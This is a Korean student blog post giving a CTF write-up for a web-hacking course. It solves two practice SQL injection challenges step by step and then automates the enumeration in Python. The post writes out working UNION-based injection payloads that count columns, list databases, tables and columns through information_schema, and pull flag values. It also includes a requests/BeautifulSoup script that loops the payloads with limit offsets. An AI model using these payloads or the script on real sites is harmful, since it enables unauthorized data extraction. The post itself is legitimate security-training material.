20. [6주차]-1 Union SQL Injection 문제 풀이

* 과제
1. UNION SQL Injection 복습
2. doldol 데이터만 추출하기
3. CTF 문제 풀기
 - SQL Injection 1, 2


1. UNION SQL Injection 복습

https://ssjune.tistory.com/131

 

17. [5주차]-1 SQL 인젝션 이해

* 과제1. 오늘 수업 복습2. 인증 우회 실습 문제 풀기 영어한국어일본어중국어 (간체)중국어 (번체)베트남어인도네시아어태국어독일어러시아어스페인어이탈리아어프강스어복사하기 이

ssjune.tistory.com

의 1.3 Union SQL Injection 항목에 작성하였다.

 

 

2. doldol 데이터만 추출하기

노말틱님이 준비한 사이트에서 doldol 데이터 하나만 가져오기

공부용으로 만들어진 사이트로 여기서

해당 SQL 구문을 통해 전체 목록을 가져올 수 있었다.

limit 를 추가해서 doldol 데이터만 가져올 수 있었다.

 

 

3. CTF 문제 풀기

3.1 SQL Injection 1

 

위 사이트에서 flag를 찾는 것이다.

 

1. b와 ell로 검색되는 결과를 보니 %__% 로 추측된다.

 

2. search GET 방식으로 전달되며,

select * from board where userId like '%search%';

대충 이런 구조이지 않을까 한다.

 

3. ell%' and '1%'='1

위 구문이 되는 것을 보아 SQL 인젝션이 가능하다

 

4. ell%' order by 4 #

를 통해 컬럼이 4개인 것을 확인했다.

 

5. ell%' union select 1,2,3,4 #

를 통해 어떤식으로 데이터가 보여지는 지 확인했다.

 

6. ell%' union select database(),2,3,4 #

를 통해 DB 명을 확인했다.

 

7. ell%' union select table_name,2,3,4 from information_schema.tables where table_schema = 'sqli_1' #

를 통해 테이블 명을 확인했다.

 

8. ell%' union select column_name,2,3,4 from information_schema.columns where table_name = 'flag_table' #

를 통해 컬럼을 확인한다.

* 여기서 테이블에 plusFlag_Table 도 있었지만 일단 flag_table 부터 확인했다.

 

9. ell%' union select flag,2,3,4 from flag_table #

를 통해 데이터를 확인한다.

 

여기서 flag를 얻어 통과할 수 있었다.

plusFlag_Table 에도 flag가 있었는데 이미 통과해버려서 이 flag는 동작을 할지 알 수가 없었다....

 

 

3.2 SQL Injection 2

 

두번째 CTF문제이다.

여기는 아이디에 뭘 입력하든 그대로 출력하고 있어 처음에 많이 해맸다.

그러다 기본으로 있는 normaltic을 입력해봤고

뭔가 재대로된 결과를 얻을 수 있었다.

1번 문제와 달리 like %____% 가 아닐것 같아 normaltic' and '1'='1' # 해당 구문을 넣어보니 같은 결과가 나왔다.

 

 

1. normaltic' order by 6 #

를 통해 컬럼갯수가 6개임을 확인했다.

 

2. ' union select 1,2,3,4,5,6 #

를 통해 Info 컬럼에 6이 나오는 것을 확인했다.

 

3. ' union select 1,2,3,4,5,database() #

를 통해 DB 명을 확인했다.

 

4. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' #

를 통해 테이블 명을 확인했다.

 

5. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='flag_honey' and table_schema='sqli_5' #

를 통해 컬럼을 확인했다.

 

6. ' union select 1,2,3,4,5,flag from flag_honey #

를 통해 얻은 값은

kkkkkkk_Not Here!

...여기가 아닌가 보다.

 

여기서 생각해보니 검색 결과로 무조건 하나만 보여주는 것 같았다.

7. ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 0,1 #

여기서 limit 숫자 부분만 바꿔 확인해보니

 - flag_honey
 - game_user
 - secret

3개의 테이블을 찾을 수 있었다.

 

8. ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' and table_schema='sqli_5' limit 0,1 #

를 통해 다시 컬럼명을 확인했다.

(limit 1,1은 없었다)

 

9. ' union select 1,2,3,4,5,flag from secret #

를 통해 얻은 값은

NONONO~~~~

...여기도 아닌가 보다.

 

이쯤하니 내가 뭘하고 뭘안했는지 헷갈리기 시작했다......

결국 파이썬 코드로 짜기로 마음먹었다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup

//혹시 몰라 주소는 지웠습니다.
url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

params = {
    'search': ''
}


for i in range(0, 3):
    params['search'] = "' union select 1,2,3,4,5,table_schema from information_schema.tables limit " + \
        str(i)+",1#"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

print()

db_name = "sqli_5"
for i in range(0, 4):
    params['search'] = "' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema="+"\'"+db_name+"\'"+" limit " + \
        str(i)+",1#"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")


table_name = "secret"
for i in range(0, 10):
    params['search'] = "' union select 1,2,3,4,5,column_name from information_schema.columns where table_name=" + \
        "\'"+table_name+"\'"+" and table_schema=" + \
        "\'"+db_name+"\'"+" limit "+str(i)+",1 #"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

column_name = "flag"
for i in range(0, 10):
    params['search'] = "' union select 1,2,3,4,5,"+column_name + \
        " from "+db_name+"."+table_name+" limit "+str(i)+",1 #"
    res = requests.get(url, params=params)
    # print(res.status_code)
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="widget-26-job-title")[7]
    children = info.find("a", recursive=False)
    print(f"{i}: {children.text}")

 

대충 위와 같은 코드를 통해 테이블 명과 컬럼명을 바꿔가면서 실행해본 결과

기존에 찾았던 테이블에서 놓쳤던 flag를 찾을 수 있었고 해당 문제를 풀 수 있었다.

 

 

반응형

댓글()